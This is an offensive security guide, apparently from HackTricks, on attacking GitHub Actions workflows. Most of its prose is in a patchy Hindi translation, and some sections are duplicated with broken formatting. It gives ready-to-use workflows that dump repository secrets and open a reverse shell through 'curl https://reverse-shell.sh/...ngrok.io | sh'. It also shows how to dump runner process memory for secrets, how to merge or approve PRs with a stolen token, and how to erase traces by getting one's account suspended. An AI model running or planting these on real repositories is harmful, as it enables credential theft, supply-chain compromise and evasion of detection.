Abusing Github Actions

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

In this page you will find:

• A summary of all the impacts of an attacker managing to access a Github Action

• Different ways to get access to an action:

• Having permissions to create the action

• Abusing pull request related triggers

• Abusing other external access techniques

• Pivoting from an already compromised repo

• Finally, a section about post-exploitation techniques to abuse an action from inside (cause the mentioned impacts)

Impacts Summary

For an introduction about Github Actions check the basic information.

If you can execute arbitrary code in GitHub Actions within a repository, you may be able to:

• गुप्त जानकारी चुराना जो पाइपलाइन में माउंट की गई है और पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुंच प्राप्त की जा सके।

• तैनाती को समझौता करना और अन्य कलाकृतियों।

• यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे आपूर्ति श्रृंखला का हमला सक्षम हो सकता है।

• कस्टम श्रमिकों में कोड निष्पादित करना ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम में पिवट किया जा सके।

• गिटहब कोड को ओवरराइट करना, जो GITHUB_TOKEN से संबंधित अनुमतियों पर निर्भर करता है।

GITHUB_TOKEN

This "गुप्त" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed. These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Some interesting things you can do with this token:

Merge PR

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

PR को मंजूरी दें

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

PR बनाएं

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

ध्यान दें कि कई अवसरों पर आप Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।

Github Action आउटपुट में रहस्यों की सूची

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

गुप्तों के साथ रिवर्स शेल प्राप्त करें

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

यह संभव है कि अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की लॉग्स की जांच करके जांच की जा सके:

अनुमत निष्पादन

यह Github क्रियाओं को समझौता करने का सबसे आसान तरीका होगा, क्योंकि यह मामला मानता है कि आपके पास संगठन में एक नया रिपॉजिटरी बनाने का अधिकार है, या आपके पास एक रिपॉजिटरी पर लिखने के अधिकार हैं।

यदि आप इस परिदृश्य में हैं, तो आप बस पोस्ट एक्सप्लोइटेशन तकनीकें देख सकते हैं।

रिपॉजिटरी निर्माण से निष्पादन

यदि संगठन के सदस्य नए रिपॉजिटरी बना सकते हैं और आप Github क्रियाएँ निष्पादित कर सकते हैं, तो आप एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं।

नए शाखा से निष्पादन

यदि आप एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action कॉन्फ़िगर किया गया है, तो आप इसे संशोधित कर सकते हैं, सामग्री अपलोड कर सकते हैं, और फिर नई शाखा से उस क्रिया को निष्पादित कर सकते हैं। इस तरह आप रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।

आप संशोधित क्रिया को हाथ से निष्पादित कर सकते हैं, जब PR बनाया जाता है या जब कुछ कोड पुश किया जाता है (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

---

Forked Execution

विभिन्न ट्रिगर्स हैं जो एक हमलावर को दूसरे रिपॉजिटरी का Github Action निष्पादित करने की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है।

pull_request

कार्यप्रवाह ट्रिगर pull_request हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह पहली बार है जब आप सहयोग कर रहे हैं, तो कुछ रखरखावकर्ता को कार्यप्रवाह के निष्पादन को स्वीकृत करने की आवश्यकता होगी:

चूंकि डिफ़ॉल्ट सीमा पहली बार योगदानकर्ताओं के लिए है, आप एक मान्य बग/टाइपो को ठीक करने में योगदान कर सकते हैं और फिर अपने नए pull_request विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं।

मैंने इसका परीक्षण किया और यह काम नहीं करता: एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।

इसके अलावा, डिफ़ॉल्ट रूप से लिखने की अनुमति और गुप्तों की पहुंच को लक्षित रिपॉजिटरी में रोकता है जैसा कि दस्तावेज़ों में उल्लेख किया गया है:

GITHUB_TOKEN के अपवाद के साथ, गुप्तों को रनर को नहीं सौंपा जाता जब कार्यप्रवाह एक फोर्क किए गए रिपॉजिटरी से ट्रिगर किया जाता है। **GITHUB_TOKEN में पुल अनुरोधों में पढ़ने की केवल अनुमति होती है फोर्क किए गए रिपॉजिटरी से।

एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने चीजों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्तों को चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।

हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!

चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही GITHUB_TOKEN पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए दुष्ट कलाकृतियाँ अपलोड कर सकता है।

pull_request_target

कार्यप्रवाह ट्रिगर pull_request_target को लक्षित रिपॉजिटरी में लिखने की अनुमति और गुप्तों तक पहुंच होती है (और अनुमति नहीं मांगता)।

ध्यान दें कि कार्यप्रवाह ट्रिगर pull_request_target बेस संदर्भ में चलता है और PR द्वारा दिए गए संदर्भ में नहीं (ताकि अविश्वसनीय कोड निष्पादित न हो)। pull_request_target के बारे में अधिक जानकारी के लिए दस्तावेज़ देखें। इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस गिटहब ब्लॉग पोस्ट की जांच करें।

यह लग सकता है कि चूंकि निष्पादित कार्यप्रवाह वह है जो बेस में परिभाषित है और PR में नहीं है, इसलिए pull_request_target का उपयोग करना सुरक्षित है, लेकिन कुछ मामले हैं जहाँ यह नहीं है।

और यह एक गुप्तों तक पहुंच होगी।

workflow_run

workflow_run ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह पूर्ण, अनुरोधित या प्रगति में होता है।

इस उदाहरण में, एक कार्यप्रवाह को अलग "परीक्षण चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक वर्कफ़्लो पर निर्भर है जिसे एक बाहरी उपयोगकर्ता द्वारा pull_request या pull_request_target के माध्यम से प्रेरित किया जा सकता है। कुछ कमजोर उदाहरण इस ब्लॉग में पाया जा सकता है. पहला उदाहरण workflow_run द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: ${{ github.event.pull_request.head.sha }} दूसरा उदाहरण workflow_run वर्कफ़्लो में अविश्वसनीय कोड से एक कलाकृति को पास करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह RCE के लिए कमजोर हो जाता है।

workflow_call

TODO

TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से

Forked Execution का दुरुपयोग

हमने सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक गिटहब वर्कफ़्लो को निष्पादित करने में सक्षम हो सकता है, अब आइए देखें कि यदि ये निष्पादन, यदि गलत तरीके से कॉन्फ़िगर किए गए हैं, तो कैसे दुरुपयोग किया जा सकता है:

अविश्वसनीय चेकआउट निष्पादन

pull_request के मामले में, वर्कफ़्लो PR के संदर्भ में निष्पादित होगा (इसलिए यह दुष्ट PRs कोड को निष्पादित करेगा), लेकिन किसी को इसे पहले अधिकृत करना होगा और यह कुछ सीमाओं के साथ चलेगा।

यदि एक वर्कफ़्लो pull_request_target या workflow_run का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे pull_request_target या pull_request से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता।

हालांकि, यदि एक्शन में एक स्पष्ट PR चेकआउट है जो PR से कोड प्राप्त करेगा (और आधार से नहीं), तो यह हमलावर द्वारा नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

संभावित रूप से अविश्वसनीय कोड npm install या npm build के दौरान चलाया जा रहा है क्योंकि निर्माण स्क्रिप्ट और संदर्भित पैकेज PR के लेखक द्वारा नियंत्रित हैं।

कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: event.pull_request pull_request_target extension:yml हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।

संदर्भ स्क्रिप्ट इंजेक्शन

ध्यान दें कि कुछ गिटहब संदर्भ हैं जिनके मान उपयोगकर्ता द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस डेटा का उपयोग करके कुछ निष्पादित कर रहा है, तो यह मनमाने कोड निष्पादन की ओर ले जा सकता है:

Gh Actions - Context Script Injections

GITHUB_ENV स्क्रिप्ट इंजेक्शन

दस्तावेज़ों के अनुसार: आप किसी वर्कफ़्लो जॉब में किसी भी बाद के चरणों के लिए एक पर्यावरण चर उपलब्ध करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे GITHUB_ENV पर्यावरण फ़ाइल में लिखकर।

यदि एक हमलावर इस env चर के अंदर कोई भी मान इंजेक्ट कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे LD_PRELOAD या NODE_OPTIONS।

उदाहरण के लिए (यह और यह), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को GITHUB_ENV env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:

कमजोर तृतीय पक्ष गिटहब एक्शन

dawidd6/action-download-artifact

जैसा कि इस ब्लॉग पोस्ट में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है।

समस्या यह है कि यदि path पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।

कमजोर वर्कफ़्लो का उदाहरण:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

यह इस वर्कफ़्लो के साथ हमला किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

अन्य बाहरी पहुँच

हटाए गए Namespace Repo Hijacking

यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी के पास नाम परिवर्तन से पहले 100 से कम सितारे थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक रिपॉजिटरी बनाने की अनुमति देगा जो हटाई गई थी।

तो यदि एक क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।

यदि अन्य रिपॉजिटरी इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाईजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

Repo Pivoting

इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछली अनुभाग देखें)।

कैश पॉइज़निंग

एक कैश समान शाखा में वर्कफ़्लो रन के बीच बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर एक पैकेज को समझौता करता है जो फिर कैश में संग्रहीत होता है और डाउनलोड और अधिक विशेषाधिकार प्राप्त वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी समझौता कर सकेगा।

GH Actions - Cache Poisoning

आर्टिफैक्ट पॉइज़निंग

वर्कफ़्लो अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को समझौता करने में सफल होता है जो एक आर्टिफैक्ट अपलोड करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह अन्य वर्कफ़्लो को समझौता कर सकता है:

Gh Actions - Artifact Poisoning

---

एक क्रिया से पोस्ट एक्सप्लॉइटेशन

OIDC के माध्यम से AWS और GCP तक पहुँच

निम्नलिखित पृष्ठों की जाँच करें:

AWS - Federation AbuseGCP - Federation Abuse

रहस्यों तक पहुँच

यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:

• यदि रहस्य या टोकन को पर्यावरण चर पर सेट किया गया है, तो इसे printenv का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।

Github Action आउटपुट में रहस्यों की सूची

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>गुप्तों के साथ रिवर्स शेल प्राप्त करें</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• यदि गुप्त को एक्सप्रेशन में सीधे उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट ऑन-डिस्क संग्रहीत होती है और सुलभ होती है।

cat /home/runner/work/_temp/*

* एक JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
* ```bash
ps axe | grep node

• एक कस्टम क्रिया के लिए, जोखिम इस पर निर्भर कर सकता है कि एक प्रोग्राम ने आर्गुमेंट से प्राप्त गुप्त का उपयोग कैसे किया:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

स्व-होस्टेड रनर्स का दुरुपयोग

यह पता लगाने का तरीका कि कौन सी Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं वह है कि Github Action कॉन्फ़िगरेशन yaml में runs-on: self-hosted के लिए खोजें।

स्व-होस्टेड रनर्स को अतिरिक्त संवेदनशील जानकारी तक पहुंच हो सकती है, अन्य नेटवर्क सिस्टम (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं और दुर्भावनापूर्ण एक दूसरे के गुप्त को चुरा सकती है।

स्व-होस्टेड रनर्स में यह भी संभव है कि _Runner.Listener_** प्रक्रिया** से गुप्त प्राप्त करें जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

चेक करें इस पोस्ट के लिए अधिक जानकारी।

Github Docker Images Registry

यह संभव है कि Github actions बनाई जाएं जो Github के अंदर एक Docker इमेज बनाएँ और स्टोर करें। एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:

Github Action Build & Push Docker Image

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट की गई है।

एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

फिर, उपयोगकर्ता Docker छवि परतों में लीक हुए रहस्यों के लिए खोज कर सकता है:

Github Actions लॉग में संवेदनशील जानकारी

यहां तक कि अगर Github क्रियाओं के लॉग में रहस्यमय मानों का पता लगाने और उन्हें दिखाने से बचने की कोशिश करता है, तो अन्य संवेदनशील डेटा जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे विशेष रूप से कॉन्फ़िगर नहीं किया गया हो।

अपने निशान छिपाना

(तकनीक यहां से) सबसे पहले, कोई भी PR जो उठाया गया है, वह स्पष्ट रूप से Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम इंटरनेट से एक PR को हटा नहीं सकते, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो Github द्वारा निलंबित हैं, उनके सभी PR स्वचालित रूप से हटा दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने GitHub खाते को निलंबित कराना होगा या अपने खाते को फ्लैग कराना होगा। यह आपकी सभी गतिविधियों को GitHub पर इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)

GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ सामान" Issue में साझा करना है और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया।

एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि उन्हें लक्षित किया गया है, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।

उपकरण

निम्नलिखित उपकरण GitHub Action वर्कफ़्लो खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं:

• https://github.com/CycodeLabs/raven

• https://github.com/praetorian-inc/gato

• https://github.com/AdnaneKhan/Gato-X

• https://github.com/carlospolop/PurplePanda

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)